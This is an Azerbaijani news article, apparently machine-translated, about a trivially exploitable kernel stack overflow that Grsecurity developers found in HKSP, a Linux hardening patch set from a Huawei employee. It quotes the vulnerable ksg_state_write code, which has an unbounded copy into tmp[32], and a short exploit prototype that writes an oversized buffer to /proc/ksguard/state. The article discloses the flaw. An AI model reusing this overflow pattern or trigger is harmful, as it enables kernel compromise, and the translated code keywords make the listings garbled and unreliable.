Linux nüvəsini qorumaq üçün Huawei əməkdaşı tərəfindən təklif edilən yamaqlarda təhlükəsizlik problemləri

Grsecurity layihəsinin tərtibatçıları çəkdi yamaq dəstində əhəmiyyətsiz dərəcədə istifadə edilə bilən zəifliyin olmasına diqqət HKSP (Huawei Kernel Self Protection), bir neçə gün əvvəl təklif etdi Linux nüvəsinin təhlükəsizliyini yaxşılaşdırmaq üçün. Vəziyyət xatırladır Samsung ilə qutu, sistemin təhlükəsizliyini təkmilləşdirmək cəhdi yeni zəifliyin yaranmasına gətirib çıxardı və cihazların güzəştə getməsini asanlaşdırdı.

HKSP yamaqları bir Huawei işçisi tərəfindən nəşr edilib, GitHub profilində Huawei haqqında xatırlanır və layihə adında Huawei sözündən istifadə edir (HKSP - Huawei Kernel Self Protection). Eyni zamanda, Huawei nümayəndələri HKSP layihəsinin şirkətlə əlaqəsini inkar etdilər və kodun işçinin şəxsi təşəbbüsü ilə hazırlandığını, rəsmi Huawei layihəsi olmadığını və şirkətin məhsullarında istifadə edilmədiyini bildirdilər. Aktiv GitHub səhifəsi HKSP geriyə kəşfdən sonra zəifliklər də əlavə edildi Qeyd edim ki, layihə boş vaxtlarımda tədqiqat məqsədləri üçün hazırlanır.

HKSP kredit strukturunda ofsetlərin təsadüfiləşdirilməsi, istifadəçi identifikatorunun ad sahəsinə (pid ad sahəsi) hücumlardan qorunma, proses yığınının mmap sahəsindən ayrılması, kfree funksiyasına ikiqat çağırışların aşkarlanması, psevdo vasitəsilə sızmaların qarşısının alınması kimi dəyişiklikləri əhatə edir. -FS /proc (/proc/ {modullar, açarlar, açar-istifadəçilər}, /proc/sys/kernel/* və /proc/sys/vm/mmap_min_addr, /proc/kallsyms), təkmilləşdirilmiş istifadəçi məkanı ünvanının təsadüfiləşdirilməsi, əlavə Ptrace mühafizə, təkmilləşdirilmiş smap və smep mühafizəsi, xam soketlər vasitəsilə məlumatların göndərilməsini qadağan etmək, UDP yuvalarında yanlış ünvanları bloklamaq və işləyən proseslərin bütövlüyünü yoxlamaq imkanı. O, həmçinin tipik rootkitləri təqdim etmək cəhdlərini aşkar etməyə yönəlmiş Ksguard nüvə modulunu ehtiva edir.

Yamalar səbəb olub Linux nüvəsinin sabit filialının saxlanmasına cavabdeh olan Greg Kroah-Hartman maraq doğurdu və müəllifdən nəzərdən keçirməyi və əsas nüvəyə təşviqi asanlaşdırmaq üçün monolit yamağı hissələrə ayırmağı xahiş etdi. Kees Cook, baş layihə haqqında təşviq Linux nüvəsində aktiv mühafizə texnologiyası da müsbətdir yamaqlara cavab verdi və problemlər arasında x86 arxitekturasının bağlanmasına və bir çox rejimlərin bildiriş xarakterinə diqqət çəkdi, hansı ki, yalnız problem haqqında məlumatı daxil edir, lakin onu bloklamağa çalışmaz.

Grsecurity tərtibatçıları tərəfindən yamağın tədqiqi kodda bir çox səhvlər və zəifliklər aşkar etdi, həmçinin layihənin imkanlarını adekvat şəkildə qiymətləndirməyə imkan verəcək bir təhlükə modelinin olmadığını göstərdi. Kodun təhlükəsiz proqramlaşdırma metodlarından istifadə etmədən yazıldığını aydın şəkildə nümayiş etdirmək üçün işləyicidə əhəmiyyətsiz zəifliyin nümunəsi verilmişdir.
0777 hüquqları ilə yaradılmış /proc/ksguard/state faylı, hər kəsin yazmaq imkanına malik olduğunu göstərir. /proc/ksguard/state-ə yazılmış əmrləri təhlil etmək üçün istifadə edilən ksg_state_write funksiyası hədəf buferin ölçüsünü nəzərə almadan və ötürülən operandın ölçüsünə əsasən verilənlərin yazılacağı tmp[32] buferi yaradır. sətir ölçüsü ilə parametrin yoxlanılması. Bunlar. Nüvə yığınının bir hissəsinin üzərinə yazmaq üçün təcavüzkar sadəcə olaraq /proc/ksguard/state-ə xüsusi formatlaşdırılmış sətir yazmalıdır.

statik ssize_t ksg_state_write(struct faylı *fayl, const char __user *buf,
size_t len, loff_t *ofset)
{
u64 dəyəri;
char tmp[32];
size_t n = 0;

əgər (istifadəçidən_copy(tmp, buf, len))
qayıtmaq -1;

dəyər = simple_strtoul(tmp, '\0', 10);
...

İstismar prototipi:

char buf[4096] = { };
int fd = açıq (“/proc/ksguard/state”, YALNIZ O_YANLIŞ);
əgər (fd >= 0) {
yaz (fd, buf, sizeof(buf));
yaxın(fd);
}

Mənbə: opennet.ru

Добавить комментарий